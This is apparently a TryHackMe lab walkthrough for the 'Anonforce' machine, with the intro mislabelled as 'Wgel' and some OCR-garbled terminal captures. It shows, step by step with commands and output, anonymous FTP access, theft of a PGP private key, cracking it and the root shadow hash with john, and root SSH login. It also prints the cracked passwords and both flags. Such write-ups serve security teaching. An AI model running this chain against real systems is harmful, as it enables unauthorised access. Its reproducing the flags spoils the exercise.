Anonforce - Walkthrough

Wgel is an easy machine from try Hack Me. This is a beginner friendly machine & is focused on cracking the hashes.

Objective: Gain the root shell of the target machine & find the root flag.

Penetration Methodologies:

- Scanning
- Exploitation
- Privilege Escalation

Tools Used:

nmap, ftp, john, gpg, ssh

Scanning

After connecting with the machine on TryHackMe, I started **nmap** scan to check the open ports and services.

```
File Actions Edit View Help

(kali@kali)-[~/Desktop/tryhackme/others/anonforce]

$ nmap -T4 -sV 10.10.4.69

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 00:10 EST

Nmap scan report for 10.10.4.69

Host is up (0.16s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.

Nmap done: 1 IP address (1 host up) scanned in 18.13 seconds
```

Exploitation

First of all, I tried **anonymous** login & I **got the access**. I was in the "/" directory.

```
File Actions Edit View Help
  -(kali@kali)-[~/Desktop/tryhackme/others/anonforce]
└$ ftp 10.10.4.69
Connected to 10.10.4.69.
220 (vsFTPd 3.0.3)
Name (10.10.4.69:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 23 0
                        0
                                     4096 Aug 11 2019 .
            23 0
                                     4096 Aug 11 2019 ..
drwxr-xr-x
drwxr-xr-x
            2 0
                                     4096 Aug 11 2019 bin
                        0
                                     4096 Aug 11 2019 boot
drwxr-xr-x
             3 0
                        0
drwxr-xr-x 17 0
                                     3700 Nov 21 21:09 dev
drwxr-xr-x 85 0
                        0
                                     4096 Aug 13 2019 etc
drwxr-xr-x 3 0
                        0
                                    4096 Aug 11 2019 home
                                    33 Aug 11 2019 initrd.img \rightarrow boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx
             1 0
                        0
           1 0
                        0
                                      33 Aug 11 2019 initrd.img.old → boot/initrd.img-4.4.0-142-generic
lrwxrwxrwx
drwxr-xr-x 19 0
                        0
                                     4096 Aug 11 2019 lib
drwxr-xr-x
            2 0
                        0
                                     4096 Aug 11 2019 lib64
drwx----
             2 0
                        0
                                    16384 Aug 11 2019 lost+found
```

Then I used **get command** to download **/home/melodias/user.txt** file, onto my machine to access the user flag.

```
drwxr-xr-x
              3 0
                         0
                                      4096 Aug 11
                                                   2019 ..
              1 0
                         0
                                      117 Aug 11
                                                   2019 .bash history
-rw-
              1 1000
-rw-r--r--
                         1000
                                      220 Aug 11
                                                   2019 .bash_logout
                                      3771 Aug 11
                                                   2019 .bashrc
              1 1000
                         1000
-rw-r--r--
              2 1000
                         1000
                                      4096 Aug 11
                                                   2019 .cache
drwx-
drwxrwxr-x
              2 1000
                         1000
                                      4096 Aug 11 2019 .nano
              1 1000
                         1000
-rw-r--r--
                                       655 Aug 11 2019 .profile
                                       0 Aug 11
              1 1000
                         1000
                                                   2019 .sudo_as_admin_successful
-rw-r--r--
              1 0
                         0
                                       183 Aug 11 2019 .wget-hsts
-rw-r--r--
              1 1000
                         1000
                                       33 Aug 11 2019 user.txt
-rw-rw-r--
226 Directory send OK.
ftp> clear
?Invalid command
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (11.6216 kB/s)
ftp> pwd
257 "/home/melodias" is the current directory
ftp>
```

Then on my machine, I opened the user.txt file and got the user flag.

```
- □ x

File Edit Search View Document Help

1 606083fd33beb1284fc51f411a706af8
2
```

In the "/notread/" directory, I also found backup.pgp (encrypted file) & private.asc (pgp private key). Then I used mget to download both of them onto my machine to analyze them.

```
ile Actions Edit View Help
150 Here comes the directory listing.
drwxrwxrwx 2 1000
                          1000
                                       4096 Aug 11 2019 .
             23 0
                                       4096 Aug 11 2019 ..
drwxr-xr-x
-rwxrwxrwx
              1 1000
                          1000
                                       524 Aug 11 2019 backup.pgp
-rwxrwxrwx
             1 1000
                          1000
                                       3762 Aug 11 2019 private.asc
226 Directory send OK.
ftp> pwd
257 "/notread" is the current directory
ftp> mget backup.pgp private.asc
mget backup.pgp? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.pgp (524 bytes).
226 Transfer complete.
524 bytes received in 0.00 secs (3.4228 MB/s)
mget private.asc? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for private.asc (3762 bytes).
226 Transfer complete.
3762 bytes received in 0.00 \text{ secs } (8.3630 \text{ MB/s})
ftp>
```

I was unable to access backup.pgp file as it **was password protected**. Then on my machine, I used **gpg2john** tool to convert the private asc key file into hash so that **john** can be used to bruteforce the hash to gain the password.

```
File Actions Edit View Help

(kali kali) - [~/Desktop/tryhackme/others/anonforce]

$ gpg2john private.asc > for_john.txt

File private.asc

(kali kali) - [~/Desktop/tryhackme/others/anonforce]

$ [kali kali] - [~/Desktop/tryhackme/others/anonforce]
```

After that, I used **john** to bruteforce the hash & I **got the password**.

```
kali@kali: ~/Desktop/tryhackme/others/anonforce
                                                                      File Actions Edit View Help
  —(kali⊗kali)-[~/Desktop/tryhackme/others/anonforce]
s john --wordlist=rockyou.txt <u>for_john.txt</u> --progress-every=3
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xbox360
                  (anonforce)
1g 0:00:00:00 DONE (2021-11-22 00:24) 5.882g/s 5470p/s 5470c/s 5470C/
Use the "--show" option to display all of the cracked passwords relia
```

Then I used **gpg** and entered the password when prompted & after some time I **got the contents of the backup.pgp file**.

Privilege Escalation

```
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File Actions Edit View Help
  -(kali@kali)-[~/Desktop/tryhackme/others/anonforce]
 -$ gpg -d backup.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
      "anonforce <melodias@anonforce.nsa>"
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2
EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
svs:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
```

I found the hash encrypted password of the root user. Then I used john to decrypt the password.

```
File Actions Edit View Help

(kali® kali)-[~/Desktop/tryhackme/others/anonforce]

$ john -- Wordlist=rockyou.txt hash.txt -- progress-every=

3
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])

Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 3 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

hikari

(?)

1g 0:00:00:01 DONE (2021-11-22 00:30) 0.6172g/s 4266p/s 42
```

After sometime, I **found the root user's password**. Then I used the below command to make a ssh connection with the target with the **user root**.

ssh root@10.10.4.69

and entered the password when asked.

```
File Actions Edit View Help
 —(kali⊛kali)-[~/Desktop/tryhackme/others/anonforce]
<u>$ ssh root@10.10.4.69</u>
The authenticity of host '10.10.4.69 (10.10.4.69)' can't be established.
ECDSA key fingerprint is SHA256:5evbK4JjQatGFwpn/RYHt5C3A6banBkqnngz4IVXyz0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.4.69' (ECDSA) to the list of known hosts.
root@10.10.4.69's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)
* Documentation: https://help.ubuntu.com
                  https://landscape.canonical.com
* Support:
                  https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ubuntu:~# whoami
root
root@ubuntu:~# cd /root
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt
f706456440c7af4187810c31c6cebdce
root@ubuntu:~#
```

Then in the /root/root.txt file, I found the root flag.